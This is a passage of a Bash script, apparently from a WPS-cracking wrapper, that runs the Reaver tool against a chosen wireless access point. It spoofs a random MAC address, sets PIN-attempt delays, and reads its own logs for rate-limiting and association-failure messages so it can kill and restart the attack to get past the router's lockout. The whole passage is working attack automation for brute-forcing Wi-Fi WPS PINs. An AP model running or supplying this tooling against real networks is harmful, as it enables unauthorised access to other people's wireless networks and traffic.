while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME13-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME13-$DATEFILE-$PAD | awk '{print $5}'`


if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME13-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME13-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME13-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME13-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME13-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME13-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP13 (ESSID: $NMEWARN13)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME13-$DATEFILE-$PAD

                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME13-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME13-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME13-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP13 (ESSID: $NMEWARN13)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME13-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi

#######################


if [[ $USE_R13 == n || $USE_R13 == N ]] && [[ $USE_LONG13 == y || $USE_LONG13 == Y ]] && [[ $USE_PIN13 == n || $USE_PIN13 == N ]]; then

echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME13"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL13"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP13"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Reaver live time                   = $yel$LIVE13 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME13-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL13 -b $TARGETAP13 -E -S -vv -N -T 1 -t 20 -d 0 -l 420 -x 30 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME13-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE13-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME13-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME13-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME13-$DATEFILE-$PAD | awk '{print $5}'`

if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME13-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME13-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME13-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME13-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME13-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME13-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME13-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME13-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME13-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP13 (ESSID: $NMEWARN13)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME13-$DATEFILE-$PAD

                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME13-$DATEFILE-$PAD | awk '{print $5}'`


if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME13-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME13-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP13 (ESSID: $NMEWARN13)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME13-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi
###################

if [[ $USE_R13 == y || $USE_R13 == Y ]] && [[ $USE_LONG13 == y || $USE_LONG13 == Y ]] && [[ $USE_PIN13 == n || $USE_PIN13 == N ]]; then

echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME13"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL13"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP13"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Recurring-delay pin attempts x     = $yel$RX13" 
echo -e "$info Recurring-delay sleep in sec y     = $yel$RY13"
echo -e "$info Reaver live time                   = $yel$LIVE13 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME13-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL13 -b $TARGETAP13 -r $RX13:$RY13 -E -S -vv -N -T 1 -t 20 -d 0 -l 420 -x 30 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME13-$DATEFILE-$PAD" &

sleep 2
#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE13-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME13-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME13-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME13-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME13-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME13-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME13-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME13-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME13-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY32" ]] || [[ $line == "YYY33" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME13-$DATEFILE-$PAD

                   fi


REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME13-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME13-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME13-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP13 (ESSID: $NMEWARN13)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME13-$DATEFILE-$PAD

                   fi


REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME13-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME13-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME13-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP13 (ESSID: $NMEWARN13)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME13-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######


####### Either WPS Locked/No Assoc found or time in LIVE has expired


PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi



#############PIN Addittions

if [[ $USE_R13 == n || $USE_R13 == N ]] && [[ $USE_LONG13 == n || $USE_LONG13 == N ]] && [[ $USE_PIN13 == y || $USE_PIN13 == Y ]]; then

echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME13"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL13"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP13"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Reaver live time                   = $yel$LIVE13 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME13-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL13 -b $TARGETAP13 -vv -x 60  --pin=$WPS_PIN13 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME13-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE13-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME13-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME13-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME13-$DATEFILE-$PAD | awk '{print $5}'`

if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME13-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME13-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME13-$DATEFILE-$PAD | awk '{print $5}'`


if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME13-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME13-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME13-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME13-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME13-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME13-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP13 (ESSID: $NMEWARN13)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME13-$DATEFILE-$PAD

                   fi


REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME13-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME13-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME13-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP13 (ESSID: $NMEWARN13)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME13-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi

if [[ $USE_R13 == y || $USE_R13 == Y ]] && [[ $USE_LONG13 == n || $USE_LONG13 == N ]] && [[ $USE_PIN13 == y || $USE_PIN13 == Y ]]; then


echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME13"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL13"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP13"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Recurring-delay pin attempts x     = $yel$RX13" 
echo -e "$info Recurring-delay sleep in sec y     = $yel$RY13"
echo -e "$info Reaver live time                   = $yel$LIVE13 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME13-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL13 -b $TARGETAP13 -vv -x 60 -r $RX13:$RY13 --pin=$WPS_PIN13 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME13-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE13-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME13-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME13-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME13-$DATEFILE-$PAD | awk '{print $5}'`

if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME13-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME13-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME13-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME13-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME13-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME13-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME13-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME13-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME13-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP13 (ESSID: $NMEWARN13)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME13-$DATEFILE-$PAD

                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME13-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME13-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME13-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP13 (ESSID: $NMEWARN13)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME13-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired

PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi

#######################


